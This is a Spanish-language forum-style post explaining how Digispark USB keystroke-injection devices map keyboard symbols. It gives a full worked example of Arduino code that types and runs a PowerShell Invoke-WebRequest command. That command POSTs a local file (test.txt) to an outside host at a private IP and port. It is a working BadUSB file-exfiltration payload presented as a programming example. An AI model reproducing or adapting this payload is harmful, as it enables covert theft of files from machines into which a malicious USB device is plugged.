En el dispositivo Digispark hay muchas veces que los simbolos del teclado no los pilla como realmente son, ya que utiliza otro tipo de teclado a diferencia del QWERTY, por lo que he creado una lista de simbolos, caracteres, signos, etc... Para que se corresponda con lo que quereis programar en vuestro Digispark:
Hay muchos signos que se quedan como un null por lo que no estan implementados en la lista, la parte de la columna izquierda corresponde a los signos normales del teclado QWERTY y la columna de la derecha corresponde al signo del Digispark.
EJEMPLO:
Si por ejemplo queremos escribir un comando mediante el Digispark algo tal que asi...
Invoke-WebRequest -Uri "http://10.11.15.5:8080" -Method Post -InFile "test.txt" -ContentType "multipart/form-data"
En la programacion tendria que ser algo tal que asi...
// Escribir el comando Invoke-WebRequest en fragmentos
DigiKeyboard.print("Invoke/WebRequest");
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(KEY_SPACE); // Añadir espacio
DigiKeyboard.delay(100);
DigiKeyboard.print("/Uri -http");
DigiKeyboard.delay(100);
// Enviar ':' usando SHIFT + .
DigiKeyboard.sendKeyStroke(KEY_PERIOD, MOD_SHIFT_LEFT);
DigiKeyboard.delay(100);
DigiKeyboard.print("&&192.168.1.47");
DigiKeyboard.delay(100);
// Enviar ':' usando SHIFT + .
DigiKeyboard.sendKeyStroke(KEY_PERIOD, MOD_SHIFT_LEFT);
DigiKeyboard.delay(100);
DigiKeyboard.print("8000-");
DigiKeyboard.sendKeyStroke(KEY_SPACE); // Añadir espacio
DigiKeyboard.delay(100);
DigiKeyboard.print("/Method Post ");
DigiKeyboard.delay(100);
DigiKeyboard.print("/InFile ");
DigiKeyboard.delay(100);
DigiKeyboard.print("test.txt");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(0x4F); // 0x4F es el código para la tecla de flecha derecha
DigiKeyboard.sendKeyStroke(KEY_SPACE); // Añadir espacio
DigiKeyboard.delay(100);
DigiKeyboard.print("/ContentType multipart&form/data");
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
Tendremos que sustituir cada simbolo de lo que queremos poner por el que interpreta Digispark.